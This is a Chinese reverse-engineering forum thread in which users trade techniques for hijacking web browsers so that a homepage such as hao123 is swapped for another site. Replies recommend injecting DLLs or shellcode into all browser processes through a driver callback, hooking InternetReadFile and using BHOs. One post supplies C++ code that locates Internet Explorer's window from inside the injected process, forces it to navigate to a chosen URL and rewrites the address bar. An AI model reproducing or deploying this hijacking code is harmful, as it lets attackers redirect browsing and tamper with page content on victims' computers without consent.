能力值:
( LV2,RANK:10 )
|
-
-
2 楼
ie8这样的有多个进程,每个进程都得做手脚
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
BHO...
|
能力值:
( LV12,RANK:340 )
|
-
-
4 楼
每个我都注入了,第一次能半成功吧,第二次又正常了
这是修改hao123为hao345的图片
|
能力值:
( LV4,RANK:50 )
|
-
-
5 楼
缓存。。。
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
关键是改命令行,自己悟吧~我使用sys 注册回调,shellcode注入浏览器,修改命令行,所有浏览器通杀,楼上说的对,ie需要清理缓存,其他的不用~
|
能力值:
( LV4,RANK:50 )
|
-
-
7 楼
hook wininet的InternetReadFile
ie内核的 有部分数据是直接从本地拿的(chrome貌似更多)
也就是缓存机制
这时候不能光InternetReadFile
建议还是BHO吧
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
dll 都注入了,还用bho么,枚举框架 IEFRAME 找到框架,然后获得 webbrowser 对象,得到 比如 IDocument对象指针可以改html内容,比如 改广告,还有 IHtmlxxxx指针可以改navite等,,,,我这么写的。。
|
能力值:
( LV12,RANK:340 )
|
-
-
9 楼
貌似好牛啊,可是我对IE框架什么的不懂啊0.0连html语法都不咋懂
|
能力值:
( LV2,RANK:10 )
|
-
-
10 楼
逼我~
BOOL CALLBACK EnumProc1(HWND hWnd, LPARAM lParam)
{
CHAR sClass[256];
GetClassName(hWnd, sClass, sizeof(sClass));
if (!strcmp(sClass, "Edit"))
{
*(HWND *)lParam = hWnd;
return FALSE;
}
return TRUE;
}
BOOL LockURL(LPCSTR lpURL)
{
DWORD dwCurrentPId = GetCurrentProcessId();
HWND hWnd = FindWindowEx(NULL, NULL, "IEFrame", NULL);
while (hWnd)
{
DWORD dwPId;
GetWindowThreadProcessId(hWnd, &dwPId);
if (dwPId == dwCurrentPId)
{
HWND hEdit = NULL;
EnumChildWindows(hWnd, EnumProc1, (LPARAM)&hEdit);
if (hEdit)
{
SendMessage(hEdit, WM_SETTEXT, 0, (LPARAM)lpURL);
dbgprintf(("set url '%s' to Edit 0x%08X\n", lpURL, hEdit));
return TRUE;
}
}
hWnd = FindWindowEx(NULL, hWnd, "IEFrame", NULL);
}
return FALSE;
}
///////////////////////////////////////////////////////////////////
// 连接WebBrowser调用Navigate的线程
///////////////////////////////////////////////////////////////////
BOOL CALLBACK EnumProc(HWND hWnd, LPARAM lParam)
{
CHAR sClass[256];
GetClassName(hWnd, sClass, sizeof(sClass));
if (!strcmp(sClass, "Internet Explorer_Server"))
{
*(HWND *)lParam = hWnd;
return FALSE;
}
return TRUE;
}
DWORD CALLBACK ThreadProc(LPVOID lpVoid)
{
CoInitialize(NULL);
HWND hWnd = (HWND)lpVoid;
while (IsWindow(hWnd))
{
HWND hIEWnd = NULL;
EnumChildWindows(hWnd, EnumProc, (LPARAM)&hIEWnd);
if (hIEWnd)
{
dbgprintf(("IE_Server found 0x%08X.\n", hIEWnd));
IHTMLDocument2 *pdoc = NULL;
IHTMLWindow2 *pwnd = NULL;
DWORD res = 0;
HRESULT hr;
SendMessageTimeout(hIEWnd, RegisterWindowMessage("WM_HTML_GETOBJECT"), 0, 0, SMTO_ABORTIFHUNG, 1000, &res);
if (res)
{
hr = ObjectFromLresult(res, IID_IHTMLDocument2, 0, (void**)&pdoc);
if (pdoc)
{
dbgprintf(("IHTMLDocument2 got 0x%08X.\n", pdoc));
hr = pdoc->get_parentWindow(&pwnd);
if (pwnd)
{
dbgprintf(("IHTMLWindow2 got 0x%08X.\n", pwnd));
BSTR pURL = SysAllocString(urlW);
hr = pwnd->navigate(pURL);
SysFreeString(pURL);
if (hr == S_OK)
{
LockURL(url);
dbgprintf(("final navigate\n"));
}
/*
IWebBrowser *pwb = NULL;
hr = psp->QueryService(IID_IWebBrowserApp, IID_IWebBrowser2, (void **)pwb);
if (pwb)
{
dbgprintf(("IWebBrowser got 0x%08X.\n", pwb));
pwb->Release();
return 0;
}
*/
pwnd->Release();
return 0;
}
pdoc->Release();
}
}
}
Sleep(200);
}
return 0;
}
|
能力值:
( LV12,RANK:340 )
|
-
-
11 楼
[QUOTE=专业黑子;1215129]逼我~ BOOL CALLBACK EnumProc1(HWND hWnd, LPARAM lParam)
{
CHAR sClass[256];
GetClassName(hWnd, sClass, sizeof(sClass));
if (!strcmp(sClass, ...[/QUOTE]
谢谢了!
|
能力值:
( LV2,RANK:10 )
|
-
-
12 楼
不要客气~!
|